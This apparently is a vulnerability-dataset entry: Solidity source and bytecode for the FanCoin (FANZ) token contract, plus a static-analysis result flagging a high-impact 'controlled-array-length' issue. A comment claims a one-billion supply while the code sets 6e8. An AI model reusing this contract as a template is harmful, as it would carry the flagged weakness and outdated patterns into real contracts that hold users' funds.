pragma solidity ^0.4.21; // File: deploy/contracts/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error. * Note, the div and mul methods were removed as they are not currently needed */ library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: deploy/contracts/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint256 public totalSupply; string public name; string public symbol; uint8 public decimals; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: deploy/contracts/Stampable.sol contract Stampable is ERC20 { using SafeMath for uint256; // A struct that represents a particular token balance struct TokenBalance { uint256 amount; uint index; } // A struct that represents a particular address balance struct AddressBalance { mapping (uint256 => TokenBalance) tokens; uint256[] tokenIndex; } // A mapping of address to balances mapping (address => AddressBalance) balances; // The total number of tokens owned per address mapping (address => uint256) ownershipCount; // Whitelist for addresses allowed to stamp tokens mapping (address => bool) public stampingWhitelist; /** * Modifier for only whitelisted addresses */ modifier onlyStampingWhitelisted() { require(stampingWhitelist[msg.sender]); _; } // Event for token stamping event TokenStamp (address indexed from, uint256 tokenStamped, uint256 stamp, uint256 amt); /** * @dev Function to stamp a token in the msg.sender's wallet * @param _tokenToStamp uint256 The tokenId of theirs to stamp (0 for unstamped tokens) * @param _stamp uint256 The new stamp to apply * @param _amt uint256 The quantity of tokens to stamp */ function stampToken (uint256 _tokenToStamp, uint256 _stamp, uint256 _amt) onlyStampingWhitelisted public returns (bool) { require(_amt <= balances[msg.sender].tokens[_tokenToStamp].amount); // Subtract balance of 0th token ID _amt value. removeToken(msg.sender, _tokenToStamp, _amt); // "Stamp" the token addToken(msg.sender, _stamp, _amt); // Emit the stamping event emit TokenStamp(msg.sender, _tokenToStamp, _stamp, _amt); return true; } function addToken(address _owner, uint256 _token, uint256 _amount) internal { // If they don't yet have any, assign this token an index if (balances[_owner].tokens[_token].amount == 0) { balances[_owner].tokens[_token].index = balances[_owner].tokenIndex.push(_token) - 1; } // Increase their balance of said token balances[_owner].tokens[_token].amount = balances[_owner].tokens[_token].amount.add(_amount); // Increase their ownership count ownershipCount[_owner] = ownershipCount[_owner].add(_amount); } function removeToken(address _owner, uint256 _token, uint256 _amount) internal { // Decrease their ownership count ownershipCount[_owner] = ownershipCount[_owner].sub(_amount); // Decrease their balance of the token balances[_owner].tokens[_token].amount = balances[_owner].tokens[_token].amount.sub(_amount); // If they don't have any left, remove it if (balances[_owner].tokens[_token].amount == 0) { uint index = balances[_owner].tokens[_token].index; uint256 lastCoin = balances[_owner].tokenIndex[balances[_owner].tokenIndex.length - 1]; balances[_owner].tokenIndex[index] = lastCoin; balances[_owner].tokens[lastCoin].index = index; balances[_owner].tokenIndex.length--; // Make sure the user's token is removed delete balances[_owner].tokens[_token]; } } } // File: deploy/contracts/FanCoin.sol contract FanCoin is Stampable { using SafeMath for uint256; // The owner of this token address public owner; // Keeps track of allowances for particular address. - ERC20 Method mapping (address => mapping (address => uint256)) public allowed; event TokenTransfer (address indexed from, address indexed to, uint256 tokenId, uint256 value); event MintTransfer (address indexed from, address indexed to, uint256 originalTokenId, uint256 tokenId, uint256 value); modifier onlyOwner { require(msg.sender == owner); _; } /** * The constructor for the FanCoin token */ function FanCoin() public { owner = 0x7DDf115B8eEf3058944A3373025FB507efFAD012; name = "FanChain"; symbol = "FANZ"; decimals = 4; // Total supply is one billion tokens totalSupply = 6e8 * uint256(10) ** decimals; // Add the owner to the stamping whitelist stampingWhitelist[owner] = true; // Initially give all of the tokens to the owner addToken(owner, 0, totalSupply); } /** ERC 20 * @dev Retrieves the balance of a specified address * @param _owner address The address to query the balance of. * @return A uint256 representing the amount owned by the _owner */ function balanceOf(address _owner) public view returns (uint256 balance) { return ownershipCount[_owner]; } /** * @dev Retrieves the balance of a specified address for a specific token * @param _owner address The address to query the balance of * @param _tokenId uint256 The token being queried * @return A uint256 representing the amount owned by the _owner */ function balanceOfToken(address _owner, uint256 _tokenId) public view returns (uint256 balance) { return balances[_owner].tokens[_tokenId].amount; } /** * @dev Returns all of the tokens owned by a particular address * @param _owner address The address to query * @return A uint256 array representing the tokens owned */ function tokensOwned(address _owner) public view returns (uint256[] tokens) { return balances[_owner].tokenIndex; } /** ERC 20 * @dev Transfers tokens to a specific address * @param _to address The address to transfer tokens to * @param _value unit256 The amount to be transferred */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= totalSupply); require(_value <= ownershipCount[msg.sender]); // Cast the value as the ERC20 standard uses uint256 uint256 _tokensToTransfer = uint256(_value); // Do the transfer require(transferAny(msg.sender, _to, _tokensToTransfer)); // Notify that a transfer has occurred emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer a specific kind of token to another address * @param _to address The address to transfer to * @param _tokenId address The type of token to transfer * @param _value uint256 The number of tokens to transfer */ function transferToken(address _to, uint256 _tokenId, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender].tokens[_tokenId].amount); // Do the transfer internalTransfer(msg.sender, _to, _tokenId, _value); // Notify that a transfer happened emit TokenTransfer(msg.sender, _to, _tokenId, _value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer a list of token kinds and values to another address * @param _to address The address to transfer to * @param _tokenIds uint256[] The list of tokens to transfer * @param _values uint256[] The list of amounts to transfer */ function transferTokens(address _to, uint256[] _tokenIds, uint256[] _values) public returns (bool) { require(_to != address(0)); require(_tokenIds.length == _values.length); require(_tokenIds.length < 100); // Arbitrary limit // Do verification first for (uint i = 0; i < _tokenIds.length; i++) { require(_values[i] > 0); require(_values[i] <= balances[msg.sender].tokens[_tokenIds[i]].amount); } // Transfer every type of token specified for (i = 0; i < _tokenIds.length; i++) { require(internalTransfer(msg.sender, _to, _tokenIds[i], _values[i])); emit TokenTransfer(msg.sender, _to, _tokenIds[i], _values[i]); emit Transfer(msg.sender, _to, _values[i]); } return true; } /** * @dev Transfers the given number of tokens regardless of how they are stamped * @param _from address The address to transfer from * @param _to address The address to transfer to * @param _value uint256 The number of tokens to send */ function transferAny(address _from, address _to, uint256 _value) private returns (bool) { // Iterate through all of the tokens owned, and transfer either the // current balance of that token, or the remaining total amount to be // transferred (`_value`), whichever is smaller. Because tokens are completely removed // as their balances reach 0, we just run the loop until we have transferred all // of the tokens we need to uint256 _tokensToTransfer = _value; while (_tokensToTransfer > 0) { uint256 tokenId = balances[_from].tokenIndex[0]; uint256 tokenBalance = balances[_from].tokens[tokenId].amount; if (tokenBalance >= _tokensToTransfer) { require(internalTransfer(_from, _to, tokenId, _tokensToTransfer)); _tokensToTransfer = 0; } else { _tokensToTransfer = _tokensToTransfer - tokenBalance; require(internalTransfer(_from, _to, tokenId, tokenBalance)); } } return true; } /** * Internal function for transferring a specific type of token */ function internalTransfer(address _from, address _to, uint256 _tokenId, uint256 _value) private returns (bool) { // Decrease the amount being sent first removeToken(_from, _tokenId, _value); // Increase receivers token balances addToken(_to, _tokenId, _value); return true; } /** ERC 20 * @dev Transfer on behalf of another address * @param _from address The address to send tokens from * @param _to address The address to send tokens to * @param _value uint256 The amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= ownershipCount[_from]); require(_value <= allowed[_from][msg.sender]); // Get the uint256 version of value uint256 _castValue = uint256(_value); // Decrease the spending limit allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // Actually perform the transfer require(transferAny(_from, _to, _castValue)); // Notify that a transfer has occurred emit Transfer(_from, _to, _value); return true; } /** * @dev Transfer and stamp tokens from a mint in one step * @param _to address To send the tokens to * @param _tokenToStamp uint256 The token to stamp (0 is unstamped tokens) * @param _stamp uint256 The new stamp to apply * @param _amount uint256 The number of tokens to stamp and transfer */ function mintTransfer(address _to, uint256 _tokenToStamp, uint256 _stamp, uint256 _amount) public onlyStampingWhitelisted returns (bool) { require(_to != address(0)); require(_amount <= balances[msg.sender].tokens[_tokenToStamp].amount); // Decrease the amount being sent first removeToken(msg.sender, _tokenToStamp, _amount); // Increase receivers token balances addToken(_to, _stamp, _amount); emit MintTransfer(msg.sender, _to, _tokenToStamp, _stamp, _amount); emit Transfer(msg.sender, _to, _amount); return true; } /** * @dev Add an address to the whitelist * @param _addr address The address to add */ function addToWhitelist(address _addr) public onlyOwner { stampingWhitelist[_addr] = true; } /** * @dev Remove an address from the whitelist * @param _addr address The address to remove */ function removeFromWhitelist(address _addr) public onlyOwner { stampingWhitelist[_addr] = false; } /** ERC 20 * @dev Approve sent address to spend the specified amount of tokens on * behalf of msg.sender * * See https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * for any potential security concerns * * @param _spender address The address that will spend funds * @param _value uint256 The number of tokens they are allowed to spend */ function approve(address _spender, uint256 _value) public returns (bool) { require(allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** ERC 20 * @dev Returns the amount a spender is allowed to spend for a particular * address * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds. * @return uint256 The number of tokens still available for the spender */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** ERC 20 * @dev Increases the number of tokens a spender is allowed to spend for * `msg.sender` * @param _spender address The address of the spender * @param _addedValue uint256 The amount to increase the spenders approval by */ function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** ERC 20 * @dev Decreases the number of tokens a spender is allowed to spend for * `msg.sender` * @param _spender address The address of the spender * @param _subtractedValue uint256 The amount to decrease the spenders approval by */ function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) { uint _value = allowed[msg.sender][_spender]; if (_subtractedValue > _value) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = _value.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063073b423d146101bd578063095ea7b31461023657806318160ddd1461029b578063195c3eff146102c65780631cb0d4811461032157806321cda7901461040257806323b872dd1461049a5780632e1faf751461051f578063313ce5671461058e5780635c658165146105bf57806366188463146106365780636d0e5c031461069b57806370a08231146106f45780638ab1d6811461074b5780638da5cb5b1461078e57806395d89b41146107e5578063a9059cbb14610875578063d73dd623146108da578063dd62ed3e1461093f578063e380b7bd146109b6578063e43252d714610a17575b600080fd5b34801561013957600080fd5b50610142610a5a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b5061021c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050610af8565b604051808215151515815260200191505060405180910390f35b34801561024257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cef565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610e6b565b6040518082815260200191505060405180910390f35b3480156102d257600080fd5b50610307600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e71565b604051808215151515815260200191505060405180910390f35b34801561032d57600080fd5b506103e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610e91565b604051808215151515815260200191505060405180910390f35b34801561040e57600080fd5b50610443600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611147565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561048657808201518184015260208101905061046b565b505050509050019250505060405180910390f35b3480156104a657600080fd5b50610505600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111e1565b604051808215151515815260200191505060405180910390f35b34801561052b57600080fd5b50610574600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611492565b604051808215151515815260200191505060405180910390f35b34801561059a57600080fd5b506105a361161e565b604051808260ff1660ff16815260200191505060405180910390f35b3480156105cb57600080fd5b50610620600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611631565b6040518082815260200191505060405180910390f35b34801561064257600080fd5b50610681600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611656565b604051808215151515815260200191505060405180910390f35b3480156106a757600080fd5b506106da6004803603810190808035906020019092919080359060200190929190803590602001909291905050506118e7565b604051808215151515815260200191505060405180910390f35b34801561070057600080fd5b50610735600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a25565b6040518082815260200191505060405180910390f35b34801561075757600080fd5b5061078c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a6e565b005b34801561079a57600080fd5b506107a3611b25565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107f157600080fd5b506107fa611b4b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561083a57808201518184015260208101905061081f565b50505050905090810190601f1680156108675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561088157600080fd5b506108c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611be9565b604051808215151515815260200191505060405180910390f35b3480156108e657600080fd5b50610925600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d10565b604051808215151515815260200191505060405180910390f35b34801561094b57600080fd5b506109a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f0c565b6040518082815260200191505060405180910390f35b3480156109c257600080fd5b50610a01600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f93565b6040518082815260200191505060405180910390f35b348015610a2357600080fd5b50610a58600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ff4565b005b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610af05780601f10610ac557610100808354040283529160200191610af0565b820191906000526020600020905b815481529060010190602001808311610ad357829003601f168201915b505050505081565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515610b8e57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000858152602001908152602001600020600001548211151515610bf357600080fd5b610bfe3385846120ab565b610c098584846124df565b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f0e879e07f7f6a4649b35412f7e1b7d4f31e250bad0c37a6fdd49b6ac58d7d7d586868660405180848152602001838152602001828152602001935050505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050949350505050565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515610d7b57600080fd5b81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60066020528060005260406000206000915054906101000a900460ff1681565b600080600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515610ed057600080fd5b82518451141515610ee057600080fd5b60648451101515610ef057600080fd5b600090505b8351811015610fc45760008382815181101515610f0e57fe5b90602001906020020151111515610f2457600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008583815181101515610f7657fe5b906020019060200201518152602001908152602001600020600001548382815181101515610fa057fe5b9060200190602002015111151515610fb757600080fd5b8080600101915050610ef5565b600090505b835181101561113b5761100c33868684815181101515610fe557fe5b906020019060200201518685815181101515610ffd57fe5b90602001906020020151612764565b151561101757600080fd5b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fbba8a6f1ace6d0ccb2089d879d1bf044d9153802c1d010c514711798d413828c868481518110151561107457fe5b90602001906020020151868581518110151561108c57fe5b90602001906020020151604051808381526020018281526020019250505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858481518110151561110f57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050610fc9565b60019150509392505050565b6060600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018054806020026020016040519081016040528092919081815260200182805480156111d557602002820191906000526020600020905b8154815260200190600101908083116111c1575b50505050509050919050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561122057600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561126e57600080fd5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156112f957600080fd5b82905061138b83600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278890919063ffffffff16565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114168585836127a1565b151561142157600080fd5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156114cf57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600084815260200190815260200160002060000154821115151561153457600080fd5b61154033858585612764565b508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fbba8a6f1ace6d0ccb2089d879d1bf044d9153802c1d010c514711798d413828c8585604051808381526020018281526020019250505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b6008602052816000526040600020602052806000526040600020600091509150505481565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611767576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117fb565b61177a838261278890919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561194157600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008581526020019081526020016000206000015482111515156119a657600080fd5b6119b13385846120ab565b6119bc3384846124df565b3373ffffffffffffffffffffffffffffffffffffffff167f2dd60e2723c80dc3265bfd38ca731edd7fc9e2fca2da5a5df62759c27f162e4185858560405180848152602001838152602001828152602001935050505060405180910390a2600190509392505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aca57600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611be15780601f10611bb657610100808354040283529160200191611be1565b820191906000526020600020905b815481529060010190602001808311611bc457829003601f168201915b505050505081565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611c2857600080fd5b6000548311151515611c3957600080fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611c8757600080fd5b829050611c953385836127a1565b1515611ca057600080fd5b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6000611da182600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c390919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600083815260200190815260200160002060000154905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561205057600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008061210083600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278890919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121ac83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008781526020019081526020016000206000015461278890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000868152602001908152602001600020600001819055506000600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008681526020019081526020016000206000015414156124d857600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000858152602001908152602001600020600101549150600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016001600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805490500381548110151561235557fe5b9060005260206000200154905080600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101838154811015156123b257fe5b906000526020600020018190555081600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600083815260200190815260200160002060010181905550600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010180548091906001900361247091906128e1565b50600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000858152602001908152602001600020600080820160009055600182016000905550505b5050505050565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000848152602001908152602001600020600001541415612607576001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101839080600181540180825580915050906001820390600052602060002001600090919290919091505503600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000848152602001908152602001600020600101819055505b61267081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000858152602001908152602001600020600001546128c390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008481526020019081526020016000206000018190555061271c81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60006127718584846120ab565b61277c8484846124df565b60019050949350505050565b600082821115151561279657fe5b818303905092915050565b6000806000808492505b60008311156128b557600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600081548110151561280457fe5b90600052602060002001549150600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600083815260200190815260200160002060000154905082811015156128935761287f87878486612764565b151561288a57600080fd5b600092506128b0565b80830392506128a487878484612764565b15156128af57600080fd5b5b6127ab565b600193505050509392505050565b60008082840190508381101515156128d757fe5b8091505092915050565b81548183558181111561290857818360005260206000209182019101612907919061290d565b5b505050565b61292f91905b8082111561292b576000816000905550600101612913565b5090565b905600a165627a7a72305820e0a39e2a3ae84b03190a6e9bea47ad4f4139933274c98aee8d816033d40365310029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
9,509
0x172d9c88b5a15217d45a1bbc3ec489ca2f589ff0
